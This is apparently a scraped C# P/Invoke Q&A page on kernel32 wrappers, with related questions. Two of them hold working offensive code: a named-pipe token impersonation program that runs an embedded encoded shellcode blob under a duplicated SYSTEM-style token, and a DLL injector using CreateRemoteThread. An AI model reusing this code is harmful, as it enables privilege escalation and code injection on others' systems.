Wrapper C# for kernel32.dll API - c#
Any helper class anywhere which wrapps kernel32 APIs, with all functions-methods and structures? Or any wrapper generator?
I want ALL methods of kernel32.dll in C# like this:
[DllImport("kernel32.dll",EntryPoint="RtlMoveMemory")]
public static extern void RtlMoveMemory(int des, int src, int count);
[DllImport("kernel32.dll", EntryPoint = "OpenProcess")]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32", CharSet = CharSet.Ansi)]
public extern static int GetProcAddress(int hwnd, string procedureName);
[DllImport("kernel32.dll", EntryPoint = "GetModuleHandle")]
public static extern int GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32", EntryPoint = "CreateRemoteThread")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")]
public static extern IntPtr WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, uint size, IntPtr lpNumberOfBytesWritten);
I doubt it.
Have you seen http://www.pinvoke.net/?
Related
How to use an available token to create a new thread in C#?
This code tries to impersonate token of any client that connects to the named pipe that is provided as argument to the code. After receiving the token in hSystemtoken, this token would be used to call CreateProcessWithTokenW. However I also want to call the shellcode using this token. What is the way to achieve this? CreateProcessThread is one way to start a thread. Looking through the documentation I also understand there is a function SetThreadToken which I tried in my code but that did not work. Is there a simpler way to do this? using System; using System.Runtime.InteropServices; namespace console_csharp { [StructLayout(LayoutKind.Sequential)] public struct SID_AND_ATTRIBUTES { public IntPtr Sid; public int Attributes; } public struct TOKEN_USER { public SID_AND_ATTRIBUTES User; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } class Program { [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes); [DllImport("kernel32.dll")] static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped); [DllImport("Advapi32.dll")] static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe); [DllImport("kernel32.dll")] private static extern IntPtr GetCurrentThread(); [DllImport("advapi32.dll", SetLastError = true)] static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError = true)] static extern bool GetTokenInformation(IntPtr TokenHandle, uint TokenInformationClass, IntPtr TokenInformation, int TokenInformationLength, out int ReturnLength); [DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)] static extern bool ConvertSidToStringSid(IntPtr pSID, out IntPtr ptrSid); [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] public extern static bool DuplicateTokenEx( IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken); [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)] public static extern bool CreateProcessWithTokenW( IntPtr hToken, UInt32 dwLogonFlags, string lpApplicationName, string lpCommandLine, UInt32 dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); // SetThreadToken [System.Runtime.InteropServices.DllImport("advapi32.dll", SetLastError = true)] private static extern bool SetThreadToken(IntPtr pHandle, IntPtr hToken); static void Main(string[] args) { //brings up calc byte[] buf = new byte[319] { 0x48,0x31,0xc9,0x48,0x81,0xe9,0xdd,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff, 0xff,0xff,0x48,0xbb,0xb6,0x91,0x18,0x2b,0x1c,0x05,0x92,0x1b,0x48,0x31,0x58, 0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0x4a,0xd9,0x9b,0xcf,0xec,0xed, 0x52,0x1b,0xb6,0x91,0x59,0x7a,0x5d,0x55,0xc0,0x4a,0xe0,0xd9,0x29,0xf9,0x79, 0x4d,0x19,0x49,0xd6,0xd9,0x93,0x79,0x04,0x4d,0x19,0x49,0x96,0xd9,0x93,0x59, 0x4c,0x4d,0x9d,0xac,0xfc,0xdb,0x55,0x1a,0xd5,0x4d,0xa3,0xdb,0x1a,0xad,0x79, 0x57,0x1e,0x29,0xb2,0x5a,0x77,0x58,0x15,0x6a,0x1d,0xc4,0x70,0xf6,0xe4,0xd0, 0x49,0x63,0x97,0x57,0xb2,0x90,0xf4,0xad,0x50,0x2a,0xcc,0x8e,0x12,0x93,0xb6, 0x91,0x18,0x63,0x99,0xc5,0xe6,0x7c,0xfe,0x90,0xc8,0x7b,0x97,0x4d,0x8a,0x5f, 0x3d,0xd1,0x38,0x62,0x1d,0xd5,0x71,0x4d,0xfe,0x6e,0xd1,0x6a,0x97,0x31,0x1a, 0x53,0xb7,0x47,0x55,0x1a,0xd5,0x4d,0xa3,0xdb,0x1a,0xd0,0xd9,0xe2,0x11,0x44, 0x93,0xda,0x8e,0x71,0x6d,0xda,0x50,0x06,0xde,0x3f,0xbe,0xd4,0x21,0xfa,0x69, 0xdd,0xca,0x5f,0x3d,0xd1,0x3c,0x62,0x1d,0xd5,0xf4,0x5a,0x3d,0x9d,0x50,0x6f, 0x97,0x45,0x8e,0x52,0xb7,0x41,0x59,0xa0,0x18,0x8d,0xda,0x1a,0x66,0xd0,0x40, 0x6a,0x44,0x5b,0xcb,0x41,0xf7,0xc9,0x59,0x72,0x5d,0x5f,0xda,0x98,0x5a,0xb1, 0x59,0x79,0xe3,0xe5,0xca,0x5a,0xef,0xcb,0x50,0xa0,0x0e,0xec,0xc5,0xe4,0x49, 0x6e,0x45,0x63,0xa6,0x04,0x92,0x1b,0xb6,0x91,0x18,0x2b,0x1c,0x4d,0x1f,0x96, 0xb7,0x90,0x18,0x2b,0x5d,0xbf,0xa3,0x90,0xd9,0x16,0xe7,0xfe,0xa7,0xf5,0x27, 0xb9,0xe0,0xd0,0xa2,0x8d,0x89,0xb8,0x0f,0xe4,0x63,0xd9,0x9b,0xef,0x34,0x39, 0x94,0x67,0xbc,0x11,0xe3,0xcb,0x69,0x00,0x29,0x5c,0xa5,0xe3,0x77,0x41,0x1c, 0x5c,0xd3,0x92,0x6c,0x6e,0xcd,0x48,0x7d,0x69,0xf1,0x35,0xd3,0xe9,0x7d,0x2b, 0x1c,0x05,0x92,0x1b }; int size = buf.Length; IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40); Marshal.Copy(buf, 0, addr, size); //IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,IntPtr.Zero); //WaitForSingleObject(hThread, 0xFFFFFFFF); string pipeName = args[0]; IntPtr hPipe = CreateNamedPipe(pipeName, 3, 0, 10, 0x1000, 0x1000, 0, IntPtr.Zero); ConnectNamedPipe(hPipe, IntPtr.Zero); ImpersonateNamedPipeClient(hPipe); IntPtr hToken; OpenThreadToken(GetCurrentThread(), 0xF01FF, false, out hToken); int TokenInfLength = 0; GetTokenInformation(hToken, 1, IntPtr.Zero, TokenInfLength, out TokenInfLength); IntPtr TokenInformation = Marshal.AllocHGlobal((IntPtr)TokenInfLength); GetTokenInformation(hToken, 1, TokenInformation, TokenInfLength, out TokenInfLength); TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER)); IntPtr pstr = IntPtr.Zero; Boolean ok = ConvertSidToStringSid(TokenUser.User.Sid, out pstr); string sidstr = Marshal.PtrToStringAuto(pstr); Console.WriteLine(#"Found sid {0}", sidstr); // phNewToken will be the handle to new token IntPtr hSystemToken = IntPtr.Zero; DuplicateTokenEx(hToken, 0xF01FF, IntPtr.Zero, 2, 1, out hSystemToken); // using that process to start a cmd.exe PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); CreateProcessWithTokenW(hSystemToken, 0, null, "C:\\Windows\\System32\\cmd.exe", 0, IntPtr.Zero, null, ref si, out pi); // lets try call thread with token now IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); SetThreadToken(hThread, hSystemToken); WaitForSingleObject(hThread, 0xFFFFFFFF); } } } thanks
DLL not injecting?
I created a dll injector in C# winforms but it doesn't seem to work. You select a process from a list then you choose your dll. The process and dll path is correct and everything returns something correctly except CreateRemoteThread which returns 0. If that is the problem, how do I fix it? I tested with a 64-bit program and dll too. Here is my code: private void Inject(string DllPath, Process InjectProcess) { IntPtr hProcess = Win32.OpenProcess(1082, false, InjectProcess.Id); Console.WriteLine(hProcess); IntPtr procAddress = Win32.GetProcAddress(Win32.GetModuleHandle("kernel32.dll"), "LoadLibraryA"); Console.WriteLine(procAddress); uint num = (uint)((DllPath.Length + 1) * Marshal.SizeOf(typeof(char))); Console.WriteLine(num); IntPtr intPtr = Win32.VirtualAllocEx(hProcess, IntPtr.Zero, num, 12288U, 4U); Console.WriteLine(intPtr); UIntPtr uintPtr; Console.WriteLine(Win32.WriteProcessMemory(hProcess, intPtr, Encoding.Default.GetBytes(DllPath), num, out uintPtr)); Console.WriteLine(Win32.CreateRemoteThread(hProcess, IntPtr.Zero, 0U, procAddress, intPtr, 0U, IntPtr.Zero)); MessageBox.Show("Injected " + this.openFileDialog1.SafeFileName + " into Process " + this.listBox1.GetItemText(this.listBox1.SelectedItem) + "!"); } private void button1_Click(object sender, EventArgs e) { string processname = this.listBox1.GetItemText(this.listBox1.SelectedItem); Process[] chosenprocess = Process.GetProcessesByName(processname); this.Inject(this.openFileDialog1.FileName, chosenprocess[0]); } public static class Win32 { // Token: 0x06000012 RID: 18 [DllImport("kernel32.dll")] public static extern int SuspendThread(IntPtr hThread); // Token: 0x06000013 RID: 19 [DllImport("kernel32.dll")] public static extern int ResumeThread(IntPtr hThread); // Token: 0x06000014 RID: 20 [DllImport("kernel32.dll")] public static extern IntPtr OpenThread(int dwDesiredAccess, bool bInheritHandle, int dwThreadId); // Token: 0x06000015 RID: 21 [DllImport("kernel32.dll", SetLastError = true)] public static extern bool CloseHandle(IntPtr hHandle); // Token: 0x06000016 RID: 22 [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); // Token: 0x06000017 RID: 23 [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); // Token: 0x06000018 RID: 24 [DllImport("kernel32.dll", CharSet = CharSet.Auto)] public static extern IntPtr GetModuleHandle(string lpModuleName); // Token: 0x06000019 RID: 25 [DllImport("kernel32.dll", ExactSpelling = true, SetLastError = true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); // Token: 0x0600001A RID: 26 [DllImport("kernel32.dll", SetLastError = true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); // Token: 0x0600001B RID: 27 [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); }
Memory Management of imported C++ methods in C#
I have a Windows Forms Application that imports and uses some C++ methods from user32.dll. [DllImport("user32.dll")] public static extern IntPtr WindowFromPoint(int xPoirnt, int yPoint); [DllImport("user32.dll")] public static extern IntPtr FindWindow(String sClassName, String sAppName); [DllImport("user32.dll")] public static extern IntPtr FindWindowEx(IntPtr parentHandel, IntPtr childAfter, String sClassName, String windowTitle); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)] public static extern IntPtr SendMessage(IntPtr hWnd, int Msg, int wParam, int lParam); [DllImport("user32.dll")] public static extern bool PostMessage(IntPtr hWnd, uint Msg, int wParam, int lParam); [DllImport("user32.dll")] public static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect); [DllImport("user32.dll")] public static extern bool PrintWindow(IntPtr hWnd, IntPtr hdcBlt, int nFlags); [DllImport("msvcrt.dll")] private static extern int memcmp(IntPtr b1, IntPtr b2, long count); I've noticed that after my app runs for an extended period of time, the memory usage can go up to 500~MB (initial 5MB). I don't have that much C++ experience but I know that you have to manually do memory management for C++. My questions is, do I have to do memory management for my app or will the C# garbage collector handle it.
Laptop/Tablet BatteryCycleCount for Determining its Health
Please help me to get Laptop/Tablet "BatteryCycleCount" value. Based on this property we will determine the replacement of battery. Below are some APIs, which i have found in my googling: [DllImport("setupapi.dll", SetLastError = true)] protected static extern IntPtr SetupDiGetClassDevs(ref Guid gClass, [MarshalAs(UnmanagedType.LPStr)] string strEnumerator, IntPtr hParent, uint nFlags); [DllImport("setupapi.dll", SetLastError = true)] protected static extern bool SetupDiEnumDeviceInterfaces(IntPtr lpDeviceInfoSet, uint nDeviceInfoData, ref Guid gClass, uint nIndex, ref SP_DEVICE_INTERFACE_DATA oInterfaceData); [DllImport("setupapi.dll", SetLastError = true)] protected static extern bool SetupDiGetDeviceInterfaceDetail(IntPtr lpDeviceInfoSet, ref SP_DEVICE_INTERFACE_DATA oInterfaceData, ref SP_DEVICE_INTERFACE_DETAIL_DATA oDetailData, uint nDeviceInterfaceDetailDataSize, ref uint nRequiredSize, IntPtr lpDeviceInfoData); [DllImport("kernel32.dll", SetLastError = true)] protected static extern IntPtr CreateFile([MarshalAs(UnmanagedType.LPStr)] string strName, uint nAccess, uint nShareMode, IntPtr lpSecurity, uint nCreationFlags, uint nAttributes, IntPtr lpTemplate); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern bool DeviceIoControl([In] SafeHandle hDevice, [In] int dwIoControlCode, [In] IntPtr lpInBuffer, [In] int nInBufferSize, [Out] IntPtr lpOutBuffer, [In] int nOutBufferSize, out int lpBytesReturned, [In] IntPtr lpOverlapped);
Instead of direct use of the Windows API, you can request the performance counters in the category "BatteryStatus". Edit : The counters in the category "BatteryStatus" are multi instance : one per battery. On my laptop, I can write this C# code : var counter = new PerformanceCounter("BatteryStatus", "RemainingCapacity", "ACPI\PNP0C0A\0_0", true); var remainingCapacity = counter.NextValue(); You can view all the available counters in the category "BatteryStatus" with Performance Monitor ("perfmon" command).
WinCE registry value monitor
Evening all, I need some advice on monitoring a registry value in WinCE. I am writing a Windows Forms application which needs to monitor a value in registry, and fire an event when it changes, can anyone point me in the right direction as to how to accomplish this? Many thanks in advance.
I managed to implement this using PInvoke code: [DllImport("coredll.dll", SetLastError = true)] static extern int RegOpenKeyEx(UIntPtr hKey, string lpSubKey, uint ulOptions, int samDesired, out UIntPtr phkResult); [DllImport("coredll.dll", SetLastError = true)] static extern UIntPtr CeFindFirstRegChange(UIntPtr hKey, [In, MarshalAs(UnmanagedType.Bool)] bool bWatchSubtree, uint dwNotifyFilter); [DllImport("coredll.dll", SetLastError = true)] public static extern UInt32 WaitForSingleObject(UIntPtr Handle, UInt32 Wait); [DllImport("coredll.dll", SetLastError = true)] static extern Int32 CeFindNextRegChange(UIntPtr hChangeHandle); [DllImport("coredll.dll", SetLastError = true)] static extern Int32 CeFindCloseRegChange(UIntPtr hChangeHandle); [DllImport("coredll.dll", SetLastError = true)] public static extern int RegCloseKey(UIntPtr hKey); and by using WaitForSingleObject.